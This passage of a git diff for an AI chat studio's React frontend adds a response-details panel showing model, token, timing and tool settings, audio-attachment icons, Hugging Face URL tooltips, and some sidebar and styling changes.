+                    }
+                    if (item.id === "guidedTour") {
+                      if (!getTourId(pathname)) return null;
+                      return (
+                        <DropdownMenuItem
+                          key={item.id}
+                          onSelect={() => {
+                            const tourId = getTourId(pathname);
+                            if (!tourId) return;
+                            window.dispatchEvent(
+                              new CustomEvent(TOUR_OPEN_EVENT, {
+                                detail: { id: tourId },
+                              }),
+                            );
+                          }}
+                        >
+                          <HugeiconsIcon icon={CursorInfo02Icon} strokeWidth={1.75} className="size-icon" />
+                          <span>{t("shell.navigation.guidedTour")}</span>
+                        </DropdownMenuItem>
+                      );
+                    }
+                    // Remaining ids are settings tabs shown by their tab name.
+                    const settingsTabId = item.id;
+                    const tab = SETTINGS_TAB_MENU_ITEMS[settingsTabId];
+                    return (
+                      <DropdownMenuItem
+                        key={item.id}
+                        onSelect={() => useSettingsDialogStore.getState().openDialog(settingsTabId)}
+                      >
+                        <HugeiconsIcon icon={tab.icon} strokeWidth={1.75} className="size-icon" />
+                        <span>{t(tab.labelKey)}</span>
+                      </DropdownMenuItem>
+                    );
+                  })}
                 </DropdownMenuGroup>
                 <DropdownMenuSeparator className="mx-1! my-2.5! h-0! border-t border-border/70 bg-transparent!" />
                 <DropdownMenuItem
@@ -1603,6 +1681,20 @@ export function AppSidebar() {
                 )}
               </DropdownMenuContent>
             </DropdownMenu>
+            {/* settings cog; sibling of the trigger (buttons cannot nest),
+                overlaid on the row's right edge, opens settings directly */}
+            <button
+              type="button"
+              aria-label={t("shell.navigation.settings")}
+              onClick={() => useSettingsDialogStore.getState().openDialog()}
+              className="absolute right-2 top-1/2 flex size-[32px] -translate-y-1/2 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-black/10 hover:text-foreground dark:hover:bg-white/10 focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring group-data-[collapsible=icon]:hidden"
+            >
+              <HugeiconsIcon
+                icon={Settings02Icon}
+                strokeWidth={1.5}
+                className="!size-[18px]"
+              />
+            </button>
           </SidebarMenuItem>
         </SidebarMenu>
       </SidebarFooter>
diff --git a/studio/frontend/src/components/assistant-ui/attachment.tsx b/studio/frontend/src/components/assistant-ui/attachment.tsx
index 0a59d75964..98ebe5ab5f 100644
--- a/studio/frontend/src/components/assistant-ui/attachment.tsx
+++ b/studio/frontend/src/components/assistant-ui/attachment.tsx
@@ -24,7 +24,7 @@ import {
   useAui,
   useAuiState,
 } from "@assistant-ui/react";
-import { File02Icon } from "@hugeicons/core-free-icons";
+import { AudioWave01Icon, File02Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { PlusIcon, XIcon } from "lucide-react";
 import {
@@ -120,9 +120,20 @@ const AttachmentPreviewDialog: FC<PropsWithChildren> = ({ children }) => {
   );
 };
 
+const AUDIO_ATTACHMENT_RE = /\.(wav|mp3|m4a|ogg|oga|flac|webm|mp4|aac)$/i;
+
+const isAudioAttachment = (name: string | undefined, contentType: string) =>
+  /^audio\//i.test(contentType) || AUDIO_ATTACHMENT_RE.test(name ?? "");
+
 const AttachmentThumb: FC = () => {
   const src = useAttachmentSrc();
   const name = useAuiState(({ attachment }) => attachment.name);
+  const contentType = useAuiState(
+    ({ attachment }) =>
+      (attachment as { file?: File }).file?.type ??
+      (attachment as { contentType?: string }).contentType ??
+      "",
+  );
 
   if (src) {
     return (
@@ -137,7 +148,7 @@ const AttachmentThumb: FC = () => {
   return (
     <div className="flex h-full w-full items-center justify-center">
       <HugeiconsIcon
-        icon={File02Icon}
+        icon={isAudioAttachment(name, contentType) ? AudioWave01Icon : File02Icon}
         strokeWidth={2}
         className="size-6 text-muted-foreground"
       />
@@ -159,7 +170,12 @@ const AttachmentUI: FC = () => {
       case "document":
         return "Document";
       case "file":
-        return "File";
+        return isAudioAttachment(
+          attachment.name,
+          (attachment as { file?: File }).file?.type ?? "",
+        )
+          ? "Audio"
+          : "File";
       default:
         throw new Error(`Unknown attachment type: ${type as string}`);
     }
diff --git a/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx b/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx
new file mode 100644
index 0000000000..cca61b766a
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx
@@ -0,0 +1,483 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"use client";
+
+import {
+  Sheet,
+  SheetContent,
+  SheetDescription,
+  SheetHeader,
+  SheetTitle,
+} from "@/components/ui/sheet";
+import {
+  customProviderDisplayName,
+  parseExternalModelId,
+  useChatPreferencesStore,
+  useChatRuntimeStore,
+  useExternalProvidersStore,
+} from "@/features/chat";
+import { cn } from "@/lib/utils";
+import { HelpCircleIcon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { useMessage, useMessageTiming } from "@assistant-ui/react";
+import type { FC, ReactNode } from "react";
+
+type ResponseDetailsMetadata = {
+  modelId?: string;
+  modelLabel?: string;
+  responseModelId?: string;
+  providerId?: string;
+  providerName?: string;
+  providerType?: string;
+  startedAt?: number;
+  finishedAt?: number;
+  durationMs?: number;
+  sessionId?: string | null;
+  cancelId?: string;
+  toolCalls?: string[];
+  tools?: Record<string, boolean | undefined>;
+};
+
+type ContextUsageMetadata = {
+  promptTokens?: number;
+  completionTokens?: number;
+  totalTokens?: number;
+  cachedTokens?: number;
+  cacheWriteTokens?: number;
+  modelId?: string;
+};
+
+type MessageCustomMetadata = {
+  responseDetails?: ResponseDetailsMetadata;
+  contextUsage?: ContextUsageMetadata;
+  serverTimings?: Record<string, unknown>;
+  reasoningDuration?: number;
+};
+
+function asNumber(value: unknown): number | undefined {
+  return typeof value === "number" && Number.isFinite(value)
+    ? value
+    : undefined;
+}
+
+function formatNumber(value: number | undefined): string | null {
+  return value == null ? null : value.toLocaleString();
+}
+
+function formatMs(value: number | undefined): string | null {
+  if (value == null) return null;
+  if (value < 1000) return `${Math.round(value)}ms`;
+  return `${(value / 1000).toFixed(2)}s`;
+}
+
+function formatRate(value: number | undefined): string | null {
+  if (value == null) return null;
+  return `${value.toFixed(1)} tok/s`;
+}
+
+function formatDate(value: Date | number | string | undefined): string | null {
+  if (value == null) return null;
+  const date = value instanceof Date ? value : new Date(value);
+  if (Number.isNaN(date.getTime())) return null;
+  return new Intl.DateTimeFormat(undefined, {
+    dateStyle: "medium",
+    timeStyle: "medium",
+  }).format(date);
+}
+
+const TOOL_CATEGORY_LABELS: Record<string, string> = {
+  search: "Search",
+  fetch: "Fetch",
+  code: "Code",
+  images: "Images",
+  mcp: "MCP",
+  docs: "Docs",
+  artifacts: "Canvas",
+};
+
+const TOOL_CALL_LABELS: Record<string, string> = {
+  web_search: "Search",
+  web_fetch: "Fetch",
+  code_execution: "Code",
+  python: "Python",
+  terminal: "Terminal",
+  image_generation: "Images",
+  search_knowledge_base: "Docs",
+  render_html: "Canvas",
+};
+
+function uniqueValues(values: string[]): string[] {
+  return Array.from(new Set(values));
+}
+
+function toolCategoryFromCall(toolName: string): string | null {
+  const normalized = toolName.toLowerCase();
+  if (normalized === "web_search") return "search";
+  if (normalized === "web_fetch") return "fetch";
+  if (
+    normalized === "code_execution" ||
+    normalized === "python" ||
+    normalized === "terminal"
+  ) {
+    return "code";
+  }
+  if (normalized === "image_generation") return "images";
+  if (normalized === "search_knowledge_base") return "docs";
+  if (normalized === "render_html") return "artifacts";
+  if (normalized.startsWith("mcp__")) return "mcp";
+  return null;
+}
+
+function formatToolCallName(toolName: string): string {
+  const normalized = toolName.toLowerCase();
+  if (TOOL_CALL_LABELS[normalized]) return TOOL_CALL_LABELS[normalized];
+  if (normalized.startsWith("mcp__")) return `MCP: ${toolName.slice(5)}`;
+  return toolName
+    .replace(/[_-]+/g, " ")
+    .replace(/\b\w/g, (letter) => letter.toUpperCase());
+}
+
+function toolCallsFromContent(content: unknown): string[] {
+  if (!Array.isArray(content)) return [];
+  return uniqueValues(
+    content
+      .map((part) =>
+        part && typeof part === "object" && "type" in part
+          ? (part as { type?: unknown; toolName?: unknown })
+          : null,
+      )
+      .filter(
+        (part): part is { type: "tool-call"; toolName: string } =>
+          part?.type === "tool-call" &&
+          typeof part.toolName === "string" &&
+          part.toolName.length > 0,
+      )
+      .map((part) => part.toolName),
+  );
+}
+
+function enabledTools(
+  tools: Record<string, boolean | undefined> | undefined,
+  toolCalls: string[],
+): string | null {
+  if (!tools && toolCalls.length === 0) return null;
+  const activeKeys = new Set<string>();
+  for (const key of Object.keys(TOOL_CATEGORY_LABELS)) {
+    if (tools?.[key] === true) activeKeys.add(key);
+  }
+  for (const toolName of toolCalls) {
+    const key = toolCategoryFromCall(toolName);
+    if (key) activeKeys.add(key);
+  }
+  const active = Object.keys(TOOL_CATEGORY_LABELS)
+    .filter((key) => activeKeys.has(key))
+    .map((key) => TOOL_CATEGORY_LABELS[key]);
+  return active.length > 0 ? active.join(", ") : "None";
+}
+
+function calledTools(toolCalls: string[]): string | null {
+  if (toolCalls.length === 0) return null;
+  return uniqueValues(toolCalls.map(formatToolCallName)).join(", ");
+}
+
+function DetailSection({
+  title,
+  children,
+}: {
+  title: string;
+  children: ReactNode;
+}) {
+  return (
+    <section className="rounded-md bg-muted/45 p-3">
+      <h3 className="mb-2 font-heading text-foreground text-sm">{title}</h3>
+      <div className="grid gap-2">{children}</div>
+    </section>
+  );
+}
+
+function DetailRow({
+  label,
+  value,
+  mono = false,
+}: {
+  label: string;
+  value: ReactNode | null | undefined;
+  mono?: boolean;
+}) {
+  if (value == null || value === "") return null;
+  return (
+    <div className="grid grid-cols-[8.5rem_minmax(0,1fr)] items-start gap-3 text-[13px]">
+      <span className="text-muted-foreground">{label}</span>
+      <span
+        className={cn(
+          "min-w-0 break-words text-right text-foreground",
+          mono && "font-mono tabular-nums",
+        )}
+      >
+        {value}
+      </span>
+    </div>
+  );
+}
+
+function useResponseModelDisplay() {
+  const message = useMessage();
+  const models = useChatRuntimeStore((s) => s.models);
+  const providers = useExternalProvidersStore((s) => s.providers);
+
+  const custom = (
+    message.metadata as Record<string, unknown> | undefined
+  )?.custom as MessageCustomMetadata | undefined;
+  const responseDetails = custom?.responseDetails;
+  const usage = custom?.contextUsage;
+  const serverTimings = custom?.serverTimings;
+
+  const recordedModelId =
+    responseDetails?.responseModelId ??
+    responseDetails?.modelId ??
+    usage?.modelId;
+  const parsedExternal = parseExternalModelId(recordedModelId);
+  const provider = parsedExternal
+    ? providers.find((candidate) => candidate.id === parsedExternal.providerId)
+    : null;
+  const modelSummary = models.find(
+    (candidate) => candidate.id === recordedModelId,
+  );
+  const modelLabel =
+    responseDetails?.modelLabel ??
+    responseDetails?.responseModelId ??
+    parsedExternal?.modelId ??
+    modelSummary?.name ??
+    recordedModelId ??
+    "Not recorded";
+  const providerLabel =
+    responseDetails?.providerName ??
+    provider?.name ??
+    (responseDetails?.providerType
+      ? customProviderDisplayName(responseDetails.providerType)
+      : parsedExternal
+        ? customProviderDisplayName(provider?.providerType)
+        : recordedModelId
+          ? "Local model"
+          : null);
+
+  return {
+    message,
+    custom,
+    responseDetails,
+    usage,
+    serverTimings,
+    modelLabel,
+    providerLabel,
+  };
+}
+
+export const MessageResponseModelBadge: FC<{ className?: string }> = ({
+  className,
+}) => {
+  const showResponseModel = useChatPreferencesStore(
+    (state) => state.showResponseModel,
+  );
+  const { modelLabel, providerLabel } = useResponseModelDisplay();
+
+  if (!showResponseModel || modelLabel === "Not recorded") {
+    return null;
+  }
+
+  return (
+    <span
+      className={cn(
+        "aui-response-model-badge pointer-events-none relative inline-flex min-h-5 max-w-full cursor-text select-text items-center text-muted-foreground/80 text-xs font-medium leading-5 opacity-0 transition-opacity duration-150 after:absolute after:inset-x-0 after:top-full after:h-1 after:content-[''] hover:opacity-100 group-hover/assistant-message:pointer-events-auto group-hover/assistant-message:opacity-100 group-focus-within/assistant-message:pointer-events-auto group-focus-within/assistant-message:opacity-100",
+        className,
+      )}
+      title={providerLabel ? `${modelLabel} - ${providerLabel}` : modelLabel}
+    >
+      <span className="min-w-0 truncate align-middle">{modelLabel}</span>
+    </span>
+  );
+};
+
+export const MessageResponseDetailsSheet: FC<{
+  open: boolean;
+  onOpenChange: (open: boolean) => void;
+}> = ({ open, onOpenChange }) => {
+  const timing = useMessageTiming();
+  const {
+    message,
+    responseDetails,
+    usage,
+    serverTimings,
+    modelLabel,
+    providerLabel,
+  } = useResponseModelDisplay();
+  const promptTokens =
+    usage?.promptTokens ?? asNumber(serverTimings?.prompt_n);
+  const completionTokens =
+    usage?.completionTokens ??
+    timing?.tokenCount ??
+    asNumber(serverTimings?.predicted_n);
+  const totalTokens =
+    usage?.totalTokens ??
+    (promptTokens != null && completionTokens != null
+      ? promptTokens + completionTokens
+      : undefined);
+  const totalTime =
+    responseDetails?.durationMs ?? timing?.totalStreamTime ?? undefined;
+  const summaryLabel =
+    modelLabel === "Not recorded" ? "Model not recorded" : `Used ${modelLabel}`;
+  const messageToolCalls = toolCallsFromContent(message.content);
+  const toolCalls =
+    responseDetails?.toolCalls && responseDetails.toolCalls.length > 0
+      ? responseDetails.toolCalls
+      : messageToolCalls;
+
+  return (
+    <Sheet open={open} onOpenChange={onOpenChange}>
+      <SheetContent
+        side="right"
+        className="w-[min(28rem,100vw)] p-0 sm:max-w-[28rem]"
+      >
+        <SheetHeader className="border-b p-4">
+          <SheetTitle className="flex items-center gap-2 pr-10 font-heading text-base">
+            <HugeiconsIcon
+              icon={HelpCircleIcon}
+              strokeWidth={1.75}
+              className="size-icon text-chat-icon-fg"
+            />
+            Response details
+          </SheetTitle>
+          <SheetDescription className="sr-only">
+            Timing, model, token, and tool details for this response.
+          </SheetDescription>
+        </SheetHeader>
+
+        <div className="flex min-h-0 flex-1 flex-col gap-4 overflow-y-auto p-4">
+          <div className="min-w-0 rounded-md border border-border/70 bg-card p-3">
+            <p className="min-w-0 break-words font-heading text-foreground text-sm">
+              {summaryLabel}
+            </p>
+            {providerLabel ? (
+              <p className="mt-1 min-w-0 break-words text-muted-foreground text-xs">
+                {providerLabel}
+              </p>
+            ) : null}
+          </div>
+
+          <DetailSection title="Response">
+            <DetailRow label="Model" value={modelLabel} />
+            <DetailRow
+              label="Requested"
+              value={
+                responseDetails?.modelId &&
+                responseDetails.modelId !== responseDetails.responseModelId
+                  ? responseDetails.modelId
+                  : null
+              }
+            />
+            <DetailRow label="Provider" value={providerLabel} />
+            <DetailRow label="Message ID" value={message.id} mono={true} />
+            <DetailRow label="Created" value={formatDate(message.createdAt)} />
+            <DetailRow
+              label="Started"
+              value={formatDate(responseDetails?.startedAt)}
+            />
+            <DetailRow
+              label="Finished"
+              value={formatDate(responseDetails?.finishedAt)}
+            />
+          </DetailSection>
+
+          <DetailSection title="Tokens">
+            <DetailRow label="Prompt" value={formatNumber(promptTokens)} mono />
+            <DetailRow
+              label="Output"
+              value={formatNumber(completionTokens)}
+              mono
+            />
+            <DetailRow label="Total" value={formatNumber(totalTokens)} mono />
+            <DetailRow
+              label="Cache hits"
+              value={formatNumber(
+                usage?.cachedTokens ?? asNumber(serverTimings?.cache_n),
+              )}
+              mono
+            />
+            <DetailRow
+              label="Cache writes"
+              value={formatNumber(usage?.cacheWriteTokens)}
+              mono
+            />
+          </DetailSection>
+
+          <DetailSection title="Timing">
+            <DetailRow label="Total" value={formatMs(totalTime)} mono />
+            <DetailRow
+              label="First token"
+              value={formatMs(timing?.firstTokenTime)}
+              mono
+            />
+            <DetailRow
+              label="Prompt eval"
+              value={formatMs(asNumber(serverTimings?.prompt_ms))}
+              mono
+            />
+            <DetailRow
+              label="Generation"
+              value={formatMs(asNumber(serverTimings?.predicted_ms))}
+              mono
+            />
+            <DetailRow
+              label="Speed"
+              value={formatRate(
+                asNumber(serverTimings?.predicted_per_second) ??
+                  timing?.tokensPerSecond,
+              )}
+              mono
+            />
+            <DetailRow
+              label="Chunks"
+              value={formatNumber(timing?.totalChunks)}
+              mono
+            />
+            <DetailRow
+              label="Tool calls"
+              value={formatNumber(timing?.toolCallCount)}
+              mono
+            />
+          </DetailSection>
+
+          <DetailSection title="Tools">
+            <DetailRow
+              label="Enabled"
+              value={enabledTools(responseDetails?.tools, toolCalls)}
+            />
+            <DetailRow label="Called" value={calledTools(toolCalls)} />
+            <DetailRow
+              label="Confirmation"
+              value={
+                responseDetails?.tools?.confirmToolCalls === true
+                  ? "On"
+                  : responseDetails?.tools?.confirmToolCalls === false
+                    ? "Off"
+                    : null
+              }
+            />
+            <DetailRow
+              label="Bypass"
+              value={
+                responseDetails?.tools?.bypassPermissions === true
+                  ? "On"
+                  : responseDetails?.tools?.bypassPermissions === false
+                    ? "Off"
+                    : null
+              }
+            />
+            <DetailRow label="Session" value={responseDetails?.sessionId} mono />
+            <DetailRow label="Run ID" value={responseDetails?.cancelId} mono />
+          </DetailSection>
+        </div>
+      </SheetContent>
+    </Sheet>
+  );
+};
diff --git a/studio/frontend/src/components/assistant-ui/model-selector.tsx b/studio/frontend/src/components/assistant-ui/model-selector.tsx
index 1fddf077ba..6bfd1276ac 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector.tsx
@@ -168,9 +168,9 @@ function ModelSelectorTrigger({
           // Suppress the pill's hover background while the eject hit area is
           // hovered, so only the dot's own circle reacts.
           variant === "outline" &&
-            "rounded-full border border-border/60 hover:bg-[#ececec] has-[[data-eject-hit]:hover]:!bg-transparent dark:hover:bg-[#2d2e32]",
+            "rounded-full border border-border/60 hover:bg-accent has-[[data-eject-hit]:hover]:!bg-transparent",
           variant === "ghost" &&
-            "rounded-full hover:bg-[#ececec] has-[[data-eject-hit]:hover]:!bg-transparent dark:hover:bg-[#2d2e32]",
+            "rounded-full hover:bg-accent has-[[data-eject-hit]:hover]:!bg-transparent",
           variant === "muted" &&
             "rounded-full bg-muted hover:bg-muted/80 has-[[data-eject-hit]:hover]:!bg-muted",
           // More left padding than right; the chevron is pulled close to the
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx b/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx
index 6311e15bfe..16cc8a1956 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx
@@ -18,8 +18,9 @@ import {
   type BrowseFoldersResponse,
   browseFolders,
 } from "@/features/chat/api/chat-api";
+import { ChevronUpStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
-import { ArrowUp02Icon, Folder02Icon } from "@hugeicons/core-free-icons";
+import { Folder02Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useCallback, useEffect, useMemo, useRef, useState } from "react";
 
@@ -230,7 +231,7 @@ export function FolderBrowser({
                   className="flex w-full items-center gap-2 px-6 py-1.5 text-left text-xs text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
                 >
                   <HugeiconsIcon
-                    icon={ArrowUp02Icon}
+                    icon={ChevronUpStandardIcon}
                     className="size-3 shrink-0"
                   />
                   <span className="font-mono">..</span>
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx b/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx
index d00c812325..db7628777a 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx
@@ -42,10 +42,8 @@ export function ModelUpdateAction({
 }: ModelUpdateActionProps) {
   const [open, setOpen] = useState(false);
 
-  // The update is a managed download (it surfaces in the global Downloads panel
-  // with progress + cancel). When this exact repo+variant finishes, refresh the
-  // caller so the "update available" cue clears once the new revision is on
-  // disk. A ref keeps the subscription stable across renders without resubscribing.
+  // Refresh the caller when this repo+variant's download finishes so the "update available" cue
+  // clears. A ref keeps the subscription stable across renders.
   const onUpdatedRef = useRef(onUpdated);
   onUpdatedRef.current = onUpdated;
   useEffect(() => {
@@ -60,9 +58,8 @@ export function ModelUpdateAction({
   }, [repoId, variant]);
 
   const handleConfirm = useCallback(() => {
-    // Start the background re-download and close the dialog immediately; the
-    // Downloads panel owns progress + cancel from here. Only a failure to START
-    // surfaces a toast — a failed download reports itself in the panel.
+    // Start the re-download and close the dialog; the Downloads panel owns progress + cancel.
+    // Only a failure to START toasts (a failed download shows in the panel).
     void Promise.resolve()
       .then(onConfirm)
       .catch((err) => {
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
index 20000c82ee..8e06181585 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
@@ -393,6 +393,7 @@ function ModelRow({
   vramEst,
   gpuGb,
   tooltipText,
+  hubUrl,
   optionProps,
   onArrowDownIntoChildren,
   capabilities,
@@ -409,6 +410,10 @@ function ModelRow({
   vramEst?: number;
   gpuGb?: number;
   tooltipText?: ReactNode;
+  /** Hugging Face address (e.g. "huggingface.co/owner/name") for online/Hub
+   * rows; surfaced on hover so their repo id / URL is discoverable the same
+   * way local rows show an on-disk path. Omit to show no address line. */
+  hubUrl?: string;
   optionProps?: ModelRowOptionProps;
   onArrowDownIntoChildren?: () => boolean;
   /** Capability override (HF rows have tags); falls back to name detection. */
@@ -454,7 +459,7 @@ function ModelRow({
       }}
       onClick={onClick}
       className={cn(
-        "flex w-full items-center gap-2 rounded-full px-2 py-1.5 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/45 dark:hover:bg-[var(--sidebar-accent)] dark:focus-visible:bg-[var(--sidebar-accent)]",
+        "flex w-full items-center gap-2 rounded-full px-2 py-1.5 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring dark:hover:bg-[var(--sidebar-accent)] dark:focus-visible:bg-[var(--sidebar-accent)]",
         selected && "bg-[#ececec] dark:bg-[var(--sidebar-accent)]",
         className,
       )}
@@ -546,30 +551,41 @@ function ModelRow({
     </button>
   );
 
-  if (vramTooltipText) {
-    return (
-      <Tooltip>
-        <TooltipTrigger asChild={true}>{content}</TooltipTrigger>
-        <TooltipContent
-          side="left"
-          className="tooltip-compact max-w-xs break-all"
-        >
-          {label}
-          <span className="block text-[10px] mt-1">{vramTooltipText}</span>
-        </TooltipContent>
-      </Tooltip>
-    );
-  }
+  // Optional Hugging Face address line for online/Hub rows, rendered under
+  // whichever tooltip shows so the repo id / URL is always visible on hover.
+  const hubUrlLine = hubUrl ? (
+    <span className="block mt-1 text-[10px] text-muted-foreground break-all">
+      {hubUrl}
+    </span>
+  ) : null;
 
-  if (tooltipText) {
+  const tooltipBody = vramTooltipText ? (
+    <>
+      {label}
+      <span className="block text-[10px] mt-1">{vramTooltipText}</span>
+      {hubUrlLine}
+    </>
+  ) : tooltipText ? (
+    <>
+      {tooltipText}
+      {hubUrlLine}
+    </>
+  ) : hubUrl ? (
+    <>
+      <span className="block break-words">{label}</span>
+      {hubUrlLine}
+    </>
+  ) : null;
+
+  if (tooltipBody) {
     return (
-      <Tooltip>
+      <Tooltip delayDuration={700}>
         <TooltipTrigger asChild={true}>{content}</TooltipTrigger>
         <TooltipContent
           side="left"
           className="tooltip-compact max-w-xs break-all"
         >
-          {tooltipText}
+          {tooltipBody}
         </TooltipContent>
       </Tooltip>
     );
@@ -919,7 +935,7 @@ function GgufVariantExpander({
                 handleVariantClick(v.quant, v.downloaded, expectedBytes)
               }
               className={cn(
-                "flex min-w-0 flex-1 items-center justify-between gap-2 rounded-full px-2 py-1 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/45 dark:hover:bg-[var(--sidebar-accent)] dark:focus-visible:bg-[var(--sidebar-accent)]",
+                "flex min-w-0 flex-1 items-center justify-between gap-2 rounded-full px-2 py-1 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring dark:hover:bg-[var(--sidebar-accent)] dark:focus-visible:bg-[var(--sidebar-accent)]",
               )}
             >
               <span className="min-w-0 flex-1 truncate font-mono text-xs">
@@ -1193,6 +1209,13 @@ function localPathTooltip(name: string, path: string): ReactNode {
   );
 }
 
+/** Hugging Face address for an online/Hub row, or undefined when the repo id is
+ * missing so the row shows no (empty) address line on hover. */
+function hubRepoUrl(id: string | null | undefined): string | undefined {
+  const trimmed = id?.trim();
+  return trimmed ? `huggingface.co/${trimmed}` : undefined;
+}
+
 /** Whether a local model is an MLX build (name hint). MLX runs on Mac only, so
  * callers gate visibility on the host being a Mac. */
 function localModelIsMlx(m: LocalModelInfo): boolean {
@@ -1247,11 +1270,8 @@ export function HubModelPicker({
   onEject?: () => void;
 }) {
   const gpu = useGpuInfo();
-  // The currently-loaded/running model id. We read params.checkpoint from the
-  // runtime store (backend-mirrored from /api/inference/status.active_model, see
-  // chat-runtime-store) rather than the dropdown `isSelected` highlight (which is
-  // just `value === repo_id` and can reflect a staged, not-yet-loaded pick). Used
-  // to disable the cached-row update action for the model that's live in memory.
+  // Live model id from the runtime store (backend-mirrored active_model), not the dropdown
+  // highlight which can be a staged pick. Disables the update action for it.
   const loadedModelId = useChatRuntimeStore((s) => s.params.checkpoint);
   // Last-loaded timestamps power the "Recent" sort (vs "Downloaded" = file date).
   const loadTimes = useModelLoadTimes(value);
@@ -1589,11 +1609,8 @@ export function HubModelPicker({
     refreshLocalModelsList();
   }, [hfToken, refreshLocalModelsList]);
 
-  // Updates run as MANAGED downloads (they show in the global Downloads panel
-  // with manifest-based progress + a working Cancel), instead of a blocking
-  // call. The worker re-resolves `main` and pulls only changed blobs, so the
-  // cached copy stays usable until the new revision lands. The row's
-  // ModelUpdateAction refreshes the list when this repo+variant completes.
+  // Updates run as managed downloads (Downloads panel: progress + Cancel), not a blocking
+  // call. The worker pulls only changed blobs, so the cached copy stays usable until done.
   const startManagedUpdate = useCallback((repoId: string, variant: string, expectedBytes: number) => {
     return downloadManager
       .requestStart({
@@ -2468,6 +2485,7 @@ export function HubModelPicker({
           <div className="min-w-0 flex-1">
             <ModelRow
               label={c.repo_id}
+              tooltipText={localPathTooltip(c.repo_id, c.cache_path)}
               meta="GGUF"
               showVision={c.has_vision ?? visionByRepo[c.repo_id]}
               selected={isSelected}
@@ -2524,6 +2542,7 @@ export function HubModelPicker({
         <div className="min-w-0 flex-1">
           <ModelRow
             label={c.repo_id}
+            hubUrl={hubRepoUrl(c.repo_id)}
             meta={`${isMlxId(c.repo_id) ? "MLX" : "Safetensors"} · ${formatBytes(
               c.size_bytes,
             )}`}
@@ -3384,6 +3403,7 @@ export function HubModelPicker({
                         <div key={id}>
                           <ModelRow
                             label={id}
+                            hubUrl={hubRepoUrl(id)}
                             hideOwner={true}
                             downloaded={downloadedSet.has(id.toLowerCase())}
                             capabilities={capsById.get(id)}
@@ -3469,6 +3489,7 @@ export function HubModelPicker({
                       <div key={id}>
                         <ModelRow
                           label={id}
+                          hubUrl={hubRepoUrl(id)}
                           capabilities={capsById.get(id)}
                           meta={
                             isKnownGgufRepo(id)
@@ -3551,6 +3572,7 @@ export function HubModelPicker({
                         <div key={id}>
                           <ModelRow
                             label={id}
+                            hubUrl={hubRepoUrl(id)}
                             capabilities={capsById.get(id)}
                             meta={
                               isSearchGguf
diff --git a/studio/frontend/src/components/assistant-ui/reasoning.tsx b/studio/frontend/src/components/assistant-ui/reasoning.tsx
index c5b53577cb..9788c73605 100644
--- a/studio/frontend/src/components/assistant-ui/reasoning.tsx
+++ b/studio/frontend/src/components/assistant-ui/reasoning.tsx
@@ -390,7 +390,7 @@ const ReasoningGroupImpl: ReasoningGroupComponent = ({
       onOpenChange={handleOpenChange}
       variant={variant}
     >
-      <div className="flex items-center gap-2">
+      <div className="flex min-w-0 items-center gap-2">
         <ReasoningTrigger
           className="min-w-0 flex-1"
           active={isReasoningStreaming}
diff --git a/studio/frontend/src/components/assistant-ui/sources.tsx b/studio/frontend/src/components/assistant-ui/sources.tsx
index 7e5b52f7d0..18c62fc87f 100644
--- a/studio/frontend/src/components/assistant-ui/sources.tsx
+++ b/studio/frontend/src/components/assistant-ui/sources.tsx
@@ -104,7 +104,7 @@ function Source({
       variant={variant}
       size={size}
       className={cn(
-        "rounded-full cursor-pointer outline-none hover:bg-chat-icon-bg-hover! hover:text-chat-icon-fg-hover! focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50",
+        "rounded-full cursor-pointer outline-none hover:bg-chat-icon-bg-hover! hover:text-chat-icon-fg-hover! focus-visible:border-ring",
         className,
       )}
     >
diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index 7fe98b701f..62b8af6e3a 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -12,6 +12,10 @@ import {
 import { downloadImagePart } from "@/components/assistant-ui/image";
 import { MarkdownText } from "@/components/assistant-ui/markdown-text";
 import { MessageHtmlArtifacts } from "@/components/assistant-ui/message-html-artifacts";
+import {
+  MessageResponseDetailsSheet,
+  MessageResponseModelBadge,
+} from "@/components/assistant-ui/message-response-details-sheet";
 import { MessageTiming } from "@/components/assistant-ui/message-timing";
 import { Reasoning, ReasoningGroup } from "@/components/assistant-ui/reasoning";
